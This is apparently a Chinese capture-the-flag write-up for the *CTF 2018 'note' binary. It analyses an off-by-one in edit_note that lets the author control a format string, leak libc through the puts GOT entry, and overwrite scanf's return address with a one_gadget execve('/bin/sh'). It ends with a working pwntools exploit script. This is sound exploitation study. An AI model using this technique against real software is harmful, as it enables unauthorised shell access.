0x00 背景
0x01 程序分析
1. checksec
[*] '/mnt/hgfs/games/startctf_2018/note/note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
运行流程
主函数如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
__int64 *v4; // [rsp-8h] [rbp-28h]
int buf; // [rsp+Ch] [rbp-14h]
const char *fmt; // [rsp+10h] [rbp-10h]
char *v7; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h]
v4 = &savedregs;
sub_400C3D();
fmt = "%d";
openfile();
v7 = readfile();
show_menu();
while ( 1 )
{
printf("> ", a2);
a2 = (char **)&buf;
if ( (signed int)_isoc99_scanf(fmt, &buf) <= 0 )
break;
switch ( buf )
{
case 1:
printf("Note:", &buf);
v7 = edit_note();
break;
case 2:
a2 = (char **)v7;
printf("Note:%s\n", v7);
break;
case 3:
save_note(v7);
puts("Saved!");
break;
case 4:
fclose(stream);
v3 = change_id((const char *)&g_str);
unlink(v3);
openfile();
puts("Done!");
break;
case 5:
if ( stream )
fclose(stream);
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
exit(0);
}
首先输入id, 程序将其保存在一个全局变量里面. 然后用户可以选择不同的功能, 执行对应的函数. 因为这道题的利用过程只需要使用main函数和 edit_note函数, 所以其它的函数就不分析了.
edit_note:
char *edit_note()
{
char s; // [rsp+0h] [rbp-100h]
_isoc99_scanf("%256s", &s);
return strdup(&s);
}
0x02 漏洞分析
可以看到edit_note中有一个off_by_one漏洞, 若果输入256个字符的话就可以覆盖ebp的低字节为\x00
:
进入edit_note之前:
*RBP 0x7ffd44e50e78
*RSP 0x7ffd44e50e58
读取256个a之后退出edit_note之后:
*RBP 0x7ffd44e50e00
*RSP 0x7ffd44e50e58
可以看到rbp的最低字节被覆盖为了\x00
,
0x03 利用过程
我们利用上面的漏洞就可以控制读取用户选项的格式化字符串了(fmt rbp-10h).我们可以将其修改为"%s". 同时因为读取的输入也是根据rbp寻址的(buf [rbp-14h]), 于是我们就可以用通过控住输入的字符串来覆盖 v7 为puts 的got表地址, 从而得到libc的基址. 我自己做题的时候就做到了这儿, 因为这道题有一个特点:主函数没有return, 而是直接通过 exit 退出的. 所以我没办法ret. 后来看官方wp才意识到我漏了一个细节: 覆盖完rbp低字节后:rbp就比rsp小了, 这也就意味着我完全可以覆盖rsp附近的值: 我可以覆盖scanf的返回地址!, 后面的就很简单了, 用one_gadget找一下:
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
根据之前得到的libc地址计算一下偏移覆盖即可.
0x04 exp
from pwn import *
io = process('./note')
elf = ELF('./note')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_offset = libc.symbols['puts']
io.recvuntil("ID")
io.sendline("abc")
io.recvuntil(">")
io.sendline("1")
fmt_string = 0x0000000000401129 #"%256s"
puts_got = 0x0000000000601F90
io.recvuntil("Note:")
io.sendline(('a' * 168 + p64(fmt_string)).ljust(256, 'a'))
io.recvuntil(">")
io.sendline(p32(2) + p64(fmt_string) + p64(puts_got))
io.recvuntil('Note:', drop = True)
puts_addr = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00'))
print("puts_addr: ", hex(puts_addr))
libc.address = puts_addr - puts_offset
io.sendline("a" * 0x64 + p64(libc.address + 0x4526a) + '\x00'*0x40)
io.interactive()
0x05 收获
官方wp用的是ret2csu, 学习了一波
总算用了次one_gadget
知道了fit()
这个函数, 感觉很有用
<font color=pink>create by pu1p at 2018-05-18 17:18:10</font>
网友评论